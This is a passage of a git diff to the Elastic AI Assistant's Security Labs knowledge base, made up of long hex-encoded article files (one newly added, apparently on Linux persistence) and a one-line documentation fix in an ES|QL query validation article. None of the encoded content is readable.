e41b5cdb613dae43c78e1ab034fb629fa01fb4b4969781113bf7c93905ce684ab48b5c2cd756ec4cd7f8046604f513466622914e3297aa8bdd9b0c0e382de08bdb883e991a186e33892fc7224f7bf8ea29cea23071f4d6d52999f1b1f5124bc632f407619f4436a9d3ebec0cd4e196f5952e766a481c79e4a1615b6fe18c9bd17a7ee08df7b3efcf0020d3dd4f6c237ec37f0ade647b46d84653ad4aa488a05e0b23293b5f9aa9ce43275f8396ecba6987b9c9541d9cfd8ebeb717c23687ab230c5e59272c6f9a4e4b2bbcd6d5198a86081a6acd598206149bf8a51c21ed7145a630ae5e6caf925ee117b5c48866dcbe41ff69b7a8ae30f9354fd66082494f9157bf5530435cdb91d779f81f3e23143c4fe878a1a38b0f6b532020729ee0d596c5629842853c3681d4a0c1961f6e54f188bc8cb863873c372dbc7d2f3a701b9e74dbe91ac221d9cae1b818e2b3c75d0255ae645da158507a636c382265af649414f71e158a8ee6a46bcda52db4528b4e5cc58e8043c158e6154cbe6456fb7906480a2cb58c2296fa2cbfab7b44c07e394e2ae54ff87d23ed9b95f52129fa76d090f4e6bcc4ae27c2673b0821d2f93193d27ab01b7cc4bc096591e7cbaf5441f2025a05631e6f639470feafabb0ec6bc80c7fb3a103b74486349196e084c5679581f81aea26f51e50d0a34945f24b59dae9d88d249612268ad5103d64cb649a0960c8f55ed1db8db952a47e8b523034205a7835226ce9e23d9c9b557005f19b78603421da6e38409aa90c2dd32b69ff588334c01643f108ad18f87ddddace83e75d7951f09f8660fc3c8c294509e592390b2d0bcb15c2b2584ae5d46cbf290de74248df74272a025617b8a4ed5b23adf417fb5190edbe71de43ea3012e75ad001a933057f9ffab73dead1113f6a8e0ca1f760d70cd3b6f71782d9ac7debeac5db57ae52986122cbffd2a035db3d3fb441855a64e3674ee068cc62a9f6248da8e20890acc743731ff0560bec8dbc7bb3f4b848809bfb0417e761d12b481aae10eb3a12c80dcfa68697960e34307825e062605eaf7ff298b4b9824b22b0c1689a0311a6b83810516b0e12e9bedd9166e20aa05b19c977ecb4ee28423af6510949ff64a9b9ce4101431732feb8bfa265dd74cfb03f8ffbe299e6bb3a9237f9136d7500ced21e97945943f95f29ee1ce9f29874fdfdf7dcf05a440241b447f82c468d942f173d541294679e8fea89e9e742ab31a56509482a1619375eacacb0419bc5c8beb863fad32df528cb1a917ee4f0f6da8dd78ecf550e8a8dd456de48ddd4fbe33097f9bde3ac020577c18097682fa2f8defbfea03b27621bda75e87b8b2d7b754c4d1c9d26a6379be94051acd49253faff0da7bd340f2307e71d329ce150defa0ed4f76e087533172ca260be6cf8cf827b3bea2f30493837c1749ca706268e074c833c8c9f053ec3e2afd87288e228eaafc2e41cd5e1e73dde749e1eb7f139395b90cc432f89f606249e8ce1fc2924b892da276d2f0439a39017d6514ec0318bf1d193366aae571366207723da4a2484e59a8d883ad47465c611f40f92ab02463f433c9bca76556f67a11e7f6ae396a52891cedf00aa6c4bbb34f729ce32fbdfdc7af17630d5094d726e41f63b49c5b5ebd405b1de858ad0ddef74e3371439f6d14cd1c188b77fce5623a7e50a3059ae4da487bff6d2dcfdc06cdcea3c7a9e4f41b6adb08648261e4c143e29bd95c08818773e2a0650c8bc31caef80789d5af480ad2cbb6ae598297175b15860c3f079ec1d22fc98320e6c9ec8fc878b6c04177d92de6154077fb958025e996ad2f503b2c5e7d77d3419a4f5d0462c366b0f4883e62af2c9ef94287b67a7f95b47a7467c1b8dcef4708c2b70d1d413a785d7d2532cb111ae90c21cef3cc629e81d56d9e00bdcf17becb917b5a8982f9fe35da36bde89e8af75edeba071c6b1d11f589d3df10217271a5e8385e3cefe988f3d30993dcb7c6552b400474c91a4c6608a9928f32e32dde8c58b12664e37c99e7cde67d29575d75444d33ac268939e9af8adbbc4e9bf7e88b3207bcad9b716ee764ba20757026bfd99d2bdc0ceea4aaff2af3fed621e2b28bf8d26ec4102e00838fa0ab35b00ca238317e6ba3ad36f943d5f08d607878f3e82a3b1e2e18a905fe2fec33055459c30051db7ba6192594087e45c84152c3b1cc54608a7070260ab53dc5f144c0976824d0017ff47fec5af305c0942daca004370bddde4c756e13d158da22035039ada2fb42c014a099cba2ea561de05d07cad829ed278b1ef1b3dc81a650d0c3275a91929c4f209a4694ece7bcb38b601cc8bfba052271524bfffc0bffc29cd9306c88c186535c504b607f59a82709b6355f2d9cac8c3abd7129a031ab8993988a666fe724a2db71f2b45f02f57b8920b179661280b3842bd1a1e52a1a0f93f2441be89b1580450c19763d60e31cfc4c5bcc76e9ff9068aa5779fe59b3bc37e4753710503423fc4980c9e3a5cc01154d06621e0d3c533339800f1b33820f6ddc0a58d79529c792bf9c28617517c525c85b1db4eefb2d89e4a49438af33c0f18d29c3e698c8f5f679a45ce81d817e9ae0acab2471d4d40d164e2db6ac311799e00d6ee2a9a5d005bd07060f445d157f31c094447084919f2a7c4a456fbbb3abc8eea8d7fd0432d460f437b877df64c242411b1a56892e3bcf931998fd57651fddeb31d9b9c65e0af14bc7f434f692adfa3083a6948195c67fc920bb821d72dd0b7eb8d2be0042e8fc5ba60b27f89f5d1b387c65d4259452c00896b088c70b1453f93d603a0bae15192424366a3211e6a48bbb0af923c8b99403b6658a7023ea93d3078b90228fa29bc87e4e9a179c91cf7ff6906c65b3bc286108338b2247fcc6902eda9cf59bf56b5ba1f48e5bebc3b4a512e8f0104a6ffa1ec2c62ceab64b52f8356d04a43fd2d1315a84f66c1b4e31a4045677af3ecfc4bf70a15b4d954ac2257e3b713f6b31405630bae8e7b16732ea6ee4dd7bb999fef56d34fed4836c7ae423f236131398d6e34e73dd509dd4f131268f9fb664a6d90c29717bae662d1911a73a1d92bb9b2ff4761635f1c82b424219cbb5df2b5ed52d96e7dd0b7655065f1ecfd19f71377fb131c33648859bc3c94ef2a492fbf079a7ca60e30a21394014447730f9798f3413822d68ccb6f75e455d1ddfbdad62a98478e88776d4e239f17f67c85f4f0cf8db3873a5adda7a4d3a6d415b809176f37ee28f4d5603d4f924248ef568057fbfac76e2f9b85459b90167a990e1d9fef47173830e6ce4adf9240b5ae1290c721e99832c6c0ca57a2d686591b0ce05d041458701f96a5387f741e09bbfca0864643e19706e9e8aea5ed8770ef495af2d0c2c93539d9d5bfc5dff0e827a0665a6b095c10ddb0cfd458b2ca1cc9949aeeeb284a2e568a12fc7639814996bdb41a2a02cfdaae9755ff57b2922ab09b6efe01d7f803f0fbdbd6ff9f29a9557fe2b0bed6082f6117248a5c2b4aaf9e68ae9a731a0914bea597565c1278abec505d3a4edbb41a922faba10be9aea03e0bb648acc72af408a706f1042cca0e1bb8d37694a67baa4aaa4f51b85da05fcdbf109f683843e063c870b772f0142f4b2fd0ad539c7b6ce2d32820568df3ebfb1e98c6b8b3663b87628a47387b97c8624ac569e34c8f7c104dd9f98ab7fd14b97d435aa156ebdb19a6188352f15088a91313a63b1e38aa463d970455ae23b5d18c41e9fe43e23f849c0d4ac9aacd7b948a043e3b95b7fa04da0b9456a95d9960189489dd461006507601538c52fc0381a600cecf81cd1301c4203519e671ad27df411f466260e95a6d11fd498b0127087c177f0701c30aa8be04eac4d00402641d04e8f17e639296e456eb8eb25034f55b4d33f4de43b828abfbad02ad0cfe22ee4462e21f4d7c069e13441a496fbc18afaf29931bb217a6c9678d5fae69506e5897548c6fd708421532e40d6c3e491ec6763c3c8333b6e7b2534f30c1657cdbfb31ac00c56205f40605754353f2887c8ccaf095bb4e43d8bda1563e0c12785960954f267079275d914a68e26a30bf3d91580a0d25cf4f653f8beef4ff1e655c827ea92e88c8fc01d096d7a21d133d7ec929194cf49922cc736a9784721b9730cec200ae4491e413baffef14aad8b6f735d32476d961641b20f50ef8dfb2f2b043994dfeac86b79c86183e8b5132fd4d1aa262f7ffad40b243d5b0c8252404f3bdac10ab12be1b0c31f2e39e7e717654635eb86e7623fa205bf0c386285080bc298143b1f7079ce6210a755b1f00de9b82512235bc1eda567982d099c83b76d14595cde34af0da6e444239022350568d9c9001fb553f203ccaf4bf96251f171183637f4a21587487a94bdd6ac1a148704a64b39818392919b86c87f50dd5093bb0f18b77baed58c3a0c81fc17004475824becda4200b8cd6f89df507f9750077a8d64299525ec6126886d226dd4ec5a1ee6afac8ea9e46923134fb1d74e8c5a6514d07ce790e0a186b569deb6ecc4f24262f7111792c2fdf603d5e6378a4999484bf49d2699970fa3441a250e39b843118aeabf26e9e273bf59b275b409a0eafe4376dc1622bb2b7490479e85f150a92a9593359f6de9bb4b64004bed61962ecea829df403e88c6f2a6c655d2ef797ae92a0bc62fb75fd20feb65a8f8e13161364f6b19afd07861e0697b7443b2e975b2c48f30a5f64c6e1306879a0db020186dd70aaba1a1defedb629ed65c1ed405ab03570d1446dbf20b8c8cd4061d27b3c2cd047f78bf00fa857e0cf7710696b3d3e7d30675e0dd110b0dc4276c219df76e0a45c811cedf5513e344c6fd96dd1247f4b2e59549fd6f03fc4464d0fdab4366b1baa8f6edd4ab2533406e9168c79ae82a8c3a7a150873dc39e1d08cf3627856d80babb2ab35c9b3f85fc040ebb95aa5de87bba82edeed0f05eef55c012e05a03123d9cd1d85ea7bd7c5b5ca7a4949bd63c4679cdf9f8551ea03a997b9d8e347361c832470610063ddd22a7eea85cf2182b678a770b828b5dbb12f5b9584937b302e024e355bcc0688606fcbd0c2874085da2c3f40534bf82667ddd5a92d7c32bae57d635fe0b114ac9694266a2833acd7f90f4a6d4e9dffb4bb8cf68815fbf8a5d71647e8f2669f92594e8262ecd244be876d2902a24d5c1c2ec244260317fd26bc76e2db798bc53c1a01803a855501aec77303f3d923d175e70f388c70af8c367cae6a99f2b4fa161efd74b5ce5cd948e021ad2c171204993b5d90e1a49a0479d78e753b3fee3ee1d25d4a3ff1a54f999dcb781b140df5858a6323373283ea0fe7f217b7c6332cac22a27c845cedbd627d55905e0d43be891d2aa2378a0e758c5630b14751af5a1750ae0a96d36f457dfdfc3fc175ebfd34fd0b4b1c5ab0ac5801bc0c3ca12102d61e9d304355bf9f2a64b7c9cccc818c9184c8f3dc9bf02ccb5a58c023f5552f2122095204d4f0a55c663f16486e91d2aa53d347ac27728e68f7ddd60a54e30ad20cbd95d0fe0b58b8d4845ad24ae740bd4bd64bef8634846565869dcf3beb3485460dc0892ce30419371cd02beff6232a47f74dafd01818828508b708887204323922e8cf92aca943194e2be340e2c8931d8a04f816b2b8629a36d0421666c67faba2e8adeba50ba7d587acb056ef79825fa351cddf69c859253f304e11bb5d95f0cf1d0e6716d5f45573d0e0f4b0ce19d08d11653810fb00056887a41a711e415bc8d8f25fdadae9f3242e7f6462cf2bebdfeb83a6a3861b024f3ae557f440b1a439c32012fda7e1ac0dc7395fd27c8b9ad06d25d9de82672781a8be4ecff571102556906a966269c3f0eb24054d752035788e742d0b6131d8da0bac8213b02a888f547445c91b10472b2aeeb4ba632dea93a212137b1f8703e37d768b695823276b14eedaf2621f3a97cbd728ba8f4024648febf7d15d0af743e93a95ebc8bb56afee72727a52c778e8f0ca075d8162fb0a39888da53e1e4407179467b9bb88128922a680e3a839ddb309166d903f2608af425269b16a2147d5279ebbb1f3f1db4fdfa2b7f7bcf471ad83b107b1a08740173251da5663752dae4e68ab76c2714f7f91daa8aceebd51ddf92fe7e289024acc7c3434ee1d15205af83f0d5f0723fabaaf69954aafe6d838f8d91ec1b04f6cd6661569f868b900a58b167e65a5785ae8731f3945c0e06e653573b4500462a1ac7434f2bb9f7dad23d22132a67e9efdfc48d3af2def3192614709cea27529a4fde1c28ee976cdcc83eb1482ebafb12f159a67fecf89a2553e67f561bc629c573005707b5f61c3e4a4e5052808a7cbca0a7b5ab3e93f1529ea0459630f7a28292c5cc040ef493bd25ab4249b5fa98522aea98b78396fc8cc19d9b2c2e0e84817e3da723c3cc8d4b0a8b055218f758ce7960a67be68fac22b0027eb9c77b404d3d988dfadbad60cb1f36af56653b0bccd63e70304af8fe27190aa3e6d3fcb2d9ddf2003eca7b5b353f2200571abca243cb4ea046c4915b5f6faf0d90ec8302f705c21819405c1ee8d3e8542ba540edfb542a94662d8ac7f89e7d80834b39f549005eb7645e8d5e109d3568ce494d3b1937566ad591e74e40f74903007b76223be242c952fd7b6297e4541e42b08a0500ce76622d517e7381f07d3158df514ada15f22f21d85c0268d28a6e4f203ea819e341331899352b2ba2df5c07bd8034fa9fb89191a6bac573e572fb017c527f158b2c30986e19952cffe584aed2e3f2f5fc5c13ca2116637df60ca79b6fadcb04243835313b7ba92d5034aa9944886ddff0b4c6024923af2e3b70d59c6bb3982a5aff1f014a37ca54b9b06bbecdd979a188d93264b162afb31ccd824617f959e86a9de3b1cb2c781d7d3fffc73f8a1cedfe001bf921ed7eb7026b21b620482093e3cc4b71da008e6fb84ed2b9925eb774446b07e34077afb7b515c2f69e2abfaf61660d858e485f604fcf9102a80fe5d8e52bfdfde635d2a75151976c8c47beab7da9aa97458e10707435acc42b066be42f292059c5eecc8e13f48b60eec362344d7c085a781448ab3a278bc38a1b3cef19698b039dce11bcd0f3ab614fcbb482358b1ebd3d4cec8cd30e292b5f71b5ac04626492c985d386cf765660a7fc3ca190f2b7782d959c86f5202713ab13c2e6600defd62ba993e36a3a5a0128c865da61b3f534ed00daf0a205d2d05df9704ced754d0323f0859d21e193db8e073513dc63bdb029c7daaf9ab17ca6631e32cde1aeb14c8bb058a19c40fa628401dab1d44722d0830fda8f4d77ba35d2e58d052f67957e6bd5f7fabbc5efa91cf366744014c13a2d1c607f13ecec74351cf7d2a8779b8b734a0b6d5cc04aa873588191767fe46d41279b880a5eb80c7092d5b8f4b21db7fc081b3997eb873a6e9ace67bdc44689eadccf174dbbbe5a84b95469ee3f0d992a3793dcc83eb1482ebafb12f159a67fecf89aa8baafebff6603879cbf103e6ccf069826650ee6d2b5eee84cf5b18d60e37936529f734a4523a82207bb46ce4722de963c2f74b6d32e191c237417ad5a0f683ddcc83eb1482ebafb12f159a67fecf89a271a3d92800dce9ec24f510be1c613a15f1c5c4266eee2c1ca6878fb9afd3daaa8158e71a9431b5588752640a1996e8b35be2c996f0ee25f0d654a0575b9ee79dcc83eb1482ebafb12f159a67fecf89a22a94ca4ef630c9d2e120f3ea71394f474790415ada287c798dc95348b8ed04c67d72a337c19cbf6eb5ee192e08a6d2edfc15f4d95099c9c035734ba3a307e58b0258d71add7931c606dec7cba5f4b52dd9b763c2866319b5ac1b6fb23c21b8ce1e0a5071996a5fa79d57561c6d44f7f7a8bdd129cd1ee812116c7b382d94c3279de530bd76d790d54bcf5186ca996782bcee90e8d289cf9565b5c44860273d07eba73c0cd9b5fe13bd2d17756d54fe34911a5834e8d8bb84f478956bccfb183b8f135beed97f93a0025aacb750bed9e6a03ff2f4272e5c4df6fd56ca4db5dbd4fc2d1cc596bcaeb64e9cc5ef7c35f6c9785b0616242adcdfd4536eddf147e4600b3120a5288ffb992798c683fcde0ca478d2ab9dff4a2b6fee6d7eb74fe22015b90afe8a6c3c7df45d112c635034982b0be1f5d66f0301803698b13db29858745a8c3fd92e743bdada0f767f6cbe710ee94965ecf7217a5c15aaba69bd149075b79abd365a113d80cf59d7e1fb88ba214f14db9b5a723b80b386ff49e57f7da3ef7a890f10cf79a0261ba9a930d8a9d80db2f19a8ef9447ed27b4dfa3d043656aa467dae151ef2f836dd201639705fbdd6420e5564f9b952558799cb8ee9a4111bb097c60f1c57f6f531f466c32bc59129a2ff6cd117b175363119b0a104e278df3629335ab2ee039c3cb225195ca853839dddd7c6db298e80f1eed91a0ea0768ceca6d3c8916c5ff7c9c51d56b4f18be7c485526c5d5ec83c657f50df56b0a0ad2089ebdb046703041c92f22a86ff34e58c406fe6d8ffce84d922dfb52eefe9d4d23f1de2973be330db45835554cec5141176c7b9e5f9a09f47fb5227387bff4b316941148766b3dfd8b30ed7ac1d54141a29592ecd62664ebb58775cf27343ebe7f18dd887cee408cd720c2b7ad671a791196b6174dc68596e37ce398c0c0418aee62db8900ad9941889409ec233ab4d90c56c0595fca9cb4a4d5108a2859fda78cec282a7638d4178c94f99e7c2cd007e50505e4ff4c7cc41fef9f735a846acb1f8abae4b6b4f28ba838d6940c815049f5000d0ce68bfd9174cd9fdf19ae5296865bb80680e78ba8e24023d03f0478785f9f5dc0cbc7824a55567c5df26f0c16712b5d71c76b771ce7487bfc29a9caa59bed6e067c2627e7f96b191a74931c0fb5e1bbc8261258fda24387e31c5a360b48e66f92b13d54a9bc51e7226484bc7fabf96660e96334c2448a98faa1632db0d1c410286432c90117cc3e34ea4c06019af36cd978a37b8acc29c496ca85e0f4b45cdcb4e4ff6a0442f5a1159b1ab2e2dfe72f20e290d3bfd4668451f3604c4792d7594735a76b30f0b7e384db49e4a20221cc297f5b85d2201abc33ef194e468fb91d566bd105cc4ab6d4ae93af284b8811e9b3f9c4c4ab9e99486e5cf4c41250d6485b942f97825b36d0c6bdd76fa914ea87af5ac055d45c6860f2063081bf606b2713bba5ddd6f8eb97d679001ff350da333cebf869a6072475ee48d5dd038b76795a4d7c2101c9d5189f2a85f33a11296edf68ab27845f063f0f1676e6e30ea1f992395b8a1f85862cc2c1af051b7fbfb5a6d616469bad2480cf2debedbf6fd15c553518bcbf828512584a9dbc67560b60e1a8c4e4f0fe5a0bc468dff574c2f7f7934d327ee1e64d61f34f710a2cb212d1f96a7056c5955816769a9a79c8d9e19952747abc8c0f8d57670d376d02619a7f32998410e026bbfbbb2b9a1dbc1157cc4269984b80d7889c8c25b3e798d06c4e9c03e6e27266b1b92e4736681afcb152c8a81f5dd78f562444eed105c3af825617ab009ca800bb8c7f9ccf662ddff0f15290d4099d0767f7a1a315c971bfef78712ad02749a34c24e09f574de2ed8b6349a33b881cfb5b0c5e22266c7c47f4c5d6a0de91bf0d93957b6513057d19be325a6a7e83780678cb28d8db0e373d7baf1bc66592172bbc72f51f4ac34d8443c4d5285073c4df9e55ddc25c30590733830ab39b457529eeb1a493e26b5df9126ab0a8005daeaea8dfcd6c206b93319d8891ecf768965e2cebd70f1e004db6b4b2a0cd9e05fb41f42340508f03ccf9675f212751d4a911e0d4c0857ad87fb6b950d46f6d461b889779f577e0d9f449405491ea5b3b4ec7d729c75878f86711bd53491a0a0112fc032d57e6efd85de8cbe091494ebda6b329a4c7842464fb2f726f0ef0b167d5af381680e7e35db201af432fb2eaf37870be4404f71b25dc14ea8e715acfa22919b31f59c0eafa114afb689678e18443e673a39b6a954e7ddb1f9ad85504efe7687e5eb98c8daf9f6ff2bf9d1278b3f6873c9b5e4147f0015f7f5a16238cabce7e241c9b5b9700eaa8b0673e1d27cb9b751c029a3102273349fdb928b2095c3735e912b38b7447bd2d0b99889a880b17dbbad009d2fc6d4300a0de48ebc8cfaeb3e33d37d21f6d750100c42fe1e9707db93e69ecaf5bfff04914c1e3bae96d81fa9c408b130fedf93c81590f205425a534454a7218497dcd762ade6a4d8b58cb4399b1283f9c57cd643fd31e6ff7a3041944ce90293aa8232d88cfb2659307cd1fd5883a36e2ad8eee9040f9daf232c1adffe0510286abe56394273eca3ee6fa991116a21ff1edd56ed2f92f3c3b79cd76362ab4e7337ecc130f714ca430b3e880eeb34d71a3df4cd4954b1dad24abc2e7034c39651572ca5bd773ee76ade085440e07307cf74748cbdb97c39976ccd45070e6d288f3b92155f65365631d7739cf59ac29d7f7504532da75ef2b646a7c44181df13e3a98331c3237ca79165c6a644edff78a32e41d001267ba0836620603140e264d742b23996543ccbeffafb13bcb07949fe6042dba1dd98f82c403e8e63f3fa53cbf1355ba5cc0f9d7437ff4dee989ab831148725ff013f1d08a9e7c4e24a5beb1f81f8b595426af71a9aa74f28820fbcfa9efd36e7ddd5c76d5ec3c5736f6380139dc5e065e41e297a1a6f6b041b9cf9ec08484ef1aa8074cf98c2aa15aaeb5d91fdefcb737c5d72230da343c5fe8dac5f7857fb6c0b5171349133ae8be0002a67c448256abc63b7b528db845c0ed685f1986f1e52f18f35bc2fb3b626243b5043faf0a5e081d9f863884feb96ed67130d700bc4bc1e74921628ad92e24e28166a25aa1e24c780f1046ec0186db64831df92860bedc10adbd30d87ee6507f57a6f96f03c59bfa76dfe85d929a6a1823628aa4bfb1e14f8294d19d7a73c6d1e0d995a0c6fe176d3e3d45ce8e071d62dd586aa3ceeb86c8149f2a28cc6ef1e476e3421987f98d38bcfe8ece44b42492e7c3f60b15f9bb7305248bab655cef01410a06b1fa1004e2269647642e028d5286523ecbb323217bcdaa5345dec1bc6580080775af81bf50226a302a3426b4b325bcf235607e7c5bcfd2cf06682a1f085e89fe68cfa85bab50d85f40edf89b23f59da48ba0d2637f6060ff8f55dfacb4b868d3dd469f930e2c1e1eb5dfcce5231b8e1ad1881be8aade9e7a3d818f497a614b35a485a5c65435c94057186d197360957a \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/streamlining_esql_query_and_rule_validation.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/streamlining_esql_query_and_rule_validation.md index cf6ce44da1422..d5950d772d400 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/streamlining_esql_query_and_rule_validation.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/streamlining_esql_query_and_rule_validation.md @@ -53,7 +53,7 @@ In some components, you will receive additional feedback based on the context of ![](/assets/images/streamlining-esql-query-and-rule-validation/image8.png) -For example, this query could easily be converted to an [EQL](https://www.elastic.co/guide/en/elasticsearch/reference/current/eql.html) or [KQL](https://www.elastic.co/guide/en/kibana/current/kuery-query.html) query as it does not leverage powerful features of ES|QL like statistics, frequency analysis, or parsing unstructured data. If you want to learn more about the benefits of queries using ES|QL check out this [blog by Costin](https://www.elastic.co/blog/elasticsearch-query-language-esql), which covers performance boosts. In this case, we must add `metadata _id, _version, _index` to the query, which informs the UI which components to return in the results. +For example, this query could easily be converted to an [EQL](https://www.elastic.co/guide/en/elasticsearch/reference/current/eql.html) or [KQL](https://www.elastic.co/guide/en/kibana/current/kuery-query.html) query as it does not leverage powerful features of ES|QL like statistics, frequency analysis, or parsing unstructured data. If you want to learn more about the benefits of queries using ES|QL check out this [blog by Costin](https://www.elastic.co/blog/elasticsearch-query-language-esql), which covers performance boosts. In this case, we must add `[metadata _id, _version, _index]` to the query, which informs the UI which components to return in the results. ## API calls? Of course! diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/the_grand_finale_on_linux_persistence.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/the_grand_finale_on_linux_persistence.encoded.md new file mode 100644 index 0000000000000..3aae6415288a2 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/the_grand_finale_on_linux_persistence.encoded.md @@ -0,0 +1 @@ +7825073da3a6101f40c0c7b44597cb8998e8f864e8275fe7f9899cda61b93df0ce2bdcbaa7cac6678ce053c7a11f67778a5755b53cac3a49012a7bba018e987a1e7069580c74afc4cb500e96e5a9ddf0e64570fe5ef95ab161b018d7b51bc844cdea75c4cc6dc06f636f9989966578816379b27bcac2cb45f7dc90bad94e2fa6820cf4af2670f1508311a7a943553a47a96d67ad53e721588d04f50bd7954bcdf875ea4e750d9f01b64d401ee61bf633e684f9e1ddffc61068e0a5d555a8078349aeeba63417b0a16247558feb710685c002bc63af40783aa1eb708854c600db9cc2aaa3bfab267c66367814ddde9b62e033c2f99de97c572beadd7f86a59f0cd05f9de70d3b43772cf7356956b1b84b4ea077abfca88a938e0a061cabb0c649bf0353ef1221112e7abb1a203febc8a22446ab623167aa275b33eaba4df5e03988797a5f657a6b4a7fb4f862cfe4e837fae527253768e425d82e2e8b9d75a44a263924ba8552919a9ec168045f939107e0b521e92b99a4248d9bbc9b9c847514323a26472093b8687ee55c28c5376175014ee9a22b094134390c4182d3abf134651b642064fdcaa73a7307df56172d4675c2a9911171927168d3c637960f683f04a269ca8428209acb70c0b9abefc88df1f9b4049532b229bb15278d67c19d56740196edcaf87c81080bf0f57a4f4cbdc90400982a42420011dcf5a1b5ac382b540400c8216978ce316bc3a24560d027fd78b9cf62cf94c03064e4680c540b1a13dcc2e99811abb35757b83fead1b34f4b19b222a67f9c202abaed25374bf554b995de875da76157fdb3c36be2ef56bfb435d94d5e6ff577126fa0f42f71df9529778a044c73fc79c6678ec146c3ad8b090cd57b309033019e23f5511a3bf9e00779baa11382ac091ba6186f8f51d579179fe668e69f09ef65410e081ff35ef3379ebd28e43fc380a4d216cb66409b894285211ec3d63589ed91880a8dacfe6167a0b767ff385b499bc86bf8dccdd4fd7bced705a9404fd69761c16f6c8cea9c86339acea98c40c52225160340f787e91d8b4dccf22734999b8ddb84ecd833523eeb93ffb42ffd7ef8bb150f135d9fbb952c60aac4337d757b0fe2eccb6b3195ed6865d32b57ae92248bc3b9d6f1af018d1260759a46e59f3f0f562381ca0b71888604426e8503af735b8d016f5764334e64ed54c3feb50817cfbc7542bc1467ba27f54343d25d057852bf189d6c59c1c4d440a6d16b1ab2dcfbbf7baafa064695cf5b5f32077c625b1b5840faf7a6c396633f5a0c206b6017563083392bf8e8858cf6e0ec9a29c175914ab0cf9cfec71f3e7bd2f7aa56634c603ffe67aab25d761d7dc02bd74d0c2533ff864ba4c707d8e99943a04e5b4b8a54a2798adf95f36e104c632c4d36cbd3a245ca2b93638525859521fdb78b6efc9be490788dd43e3019da22fa230801166451496c3404be2119cc9f41c7a9b10bc3db35835237a6e0f3183279724fb96beced824d1ddd064954792e5eb779f8d2433e899bc086e87f301a1a3f8b1a6fde600ba0f0540af8362bd720ee8d279ca06a372dd3cbd6d16a7c34bf31a393b6d7ce52412c56bbf75b2c12563b6bc8efaa340d3d720bd394e857a34f2d6eb7f8cc95b4bcacdf5e107ee1be012fc58c2bb0d932649505cec7bacb6722048cf39e0e3b1e22c848c32bf32746e76ef297800f4c28e9cbf05a916f94a1b6f8c6e5b43b2dcf85d4df69ee385c5f2c16178c558277e9d584299772d42185c1626bd5730f9cdf3484e4386e3eb9fa45d73709726402c611ee591b625b2c12563b6bc8efaa340d3d720bd394e857a34f2d6eb7f8cc95b4bcacdf5e10eb14aa9908305f02c0f4c9d211b22a6cbacb6722048cf39e0e3b1e22c848c32bf32746e76ef297800f4c28e9cbf05a916f94a1b6f8c6e5b43b2dcf85d4df69eeb5fa8b67c542dc99f172202a45cff4994ba0f846c0e416a4d5837fbab8b68f133eb9fa45d73709726402c611ee591b625b2c12563b6bc8efaa340d3d720bd394e857a34f2d6eb7f8cc95b4bcacdf5e100d233141424baf908104a38524ff11cfbf2ac5fc7e13e353f992bbc1d0959436ff0067616f534212f30b4c32b378cb42f37cfa24e2c1827677e0938af9c23a155b8f6b08884738ad95803cc0d29c84131733ff4f73c61b93c28372e91669d133df719721a3c7d488e55195d1d8f314f0655c716af1a34a46edd4cd98e00a5a4c360fefa0bf2deeeb4fac20f2375118c9bb84bc7385583c0b39a4262916d5fb4fc8ff1ce15a0a988b6d241a45277ac6d7d695ec8b478d61a0608f577c8af890d81af3d51490e25322ed023c63dd3dfdd6476cc81dae954dda50c6f9439eac80b0b1d97f3da625402ec1ad291f7056078ac9c9aebb703347ccd4aac986c3a1db787e347c62c998a612118d0155df3ccbf288ad444a00ddf7559de0e0a4991778a607c47b52039c31adfed22e25039ac8f5af1493cd1bf7457e609c1ad004a8149b68e75d0d8c5523836f3856a59207b771b7ab5f2b63a10828efce3abf733169ad8515f992f6f89fe8a57bf73e3253cb279ecfe297541ebfa5309f5c814c30b604c07ef3072e46d47bba733c3e1ca21fc6e37df3212093edbbd68a69a2f764c56ed44c5bc7cc127a6edac4a56dcaf2e9169b8e9198406f46c72c06eefe0f4c399873444d65040df530fec94690de9155a57a1a73b5634b8092a32caa033fd831322017738c0c46050c7a10d308e3c9d6062b100eb4d8c178dc8eb42247236b0c3f3f26500edbe140ebf0ab7aa828ff1adaae6c57eec16277f86277b7d9a4caf3f0f05390e259e535f52b75bea75f1a9e27e5f5d8b4e72da299ad82968ae01982db581696ac78ccf14dcf80df197b62d4b8ceb8b934c08da6681592fabc07acacf6cc23fc486dba0dde13760f1ba04624c44748cbdb97c39976ccd45070e6d288f3af5de5c6ce10fad7bfbc72b3c23b3cc13e3a41289b456ad427dcce595e2596c8dc59c3f8e01ca6fcb8f19e62cff6b9123efb0fdb6a19bfb6ab25de7d83ba4d2b6373b8855fbc8712a91dc45280485f14a6928a32e288dc9207087dea9412e22bf180afa44ac16ca0c2fc4b19b1c9460bde4d7c5375d5a3cc53cf3371302c4d76dfa9f0ca1c722166937974b1d1f936fb8d7faf0b153a4527c9da0969f7191ba0a7b63865913d86b8723f365265c831867c4f65a54b5dcbc0a5fb22592f9850e529b65eb52a079465402aaf83d91eac0ca4f06fee95d84d08fb4c5ce584bf22a8ddddeeb2ab2c1487cdd83d7bec5a381bf9fd0a5e36656ddd3b1f61cdc2a1cca31a4a6bbaa4d860bf62918f5ee331a00dcd20015a840c3b0c56b10f908243f954e705f50c480c0836e3401b8d4fd4bfd35575e537dc073c72750d18b2e12df5f493b496e5bc2c5333ca0c132252c2f2f7ff888835039eb7fe240bfc0b8688ed04eba9e3eeb66a3a7a29070452d3316251347131a7dcdc7b234a9ff7b6d3a29b36f1c1af9b139a2daa51de1b552659428112c8c855538c79a2d254f8141c9ef4b6abc5437814ca40610cbc775e689ef8294b7a64c8cc873041f5550e7e8e57a94d8bc3a8ea49c36c7ca9f79f40a8d53b14c05505364dde679f932e8d20e696dfb9e2648535423d3466baefa5582d8b9892e2bc2764e2a64b244c6afbd6b937b0458ba4ee8da686d35b1693a639a1acfd6e712bfc4d6935135700216083fb1012dd818977088239ccdb5ee99230e74bd4b596bffc426f76bfa21d1be309f5d48dafa576efd790fa3cd9f94672c62a14ae9cdc849d96f1a2ada65b832d0d45d003601806c29a198dac55e706dbecf2f735932539d1782f062bca299c5b714f85e7651da6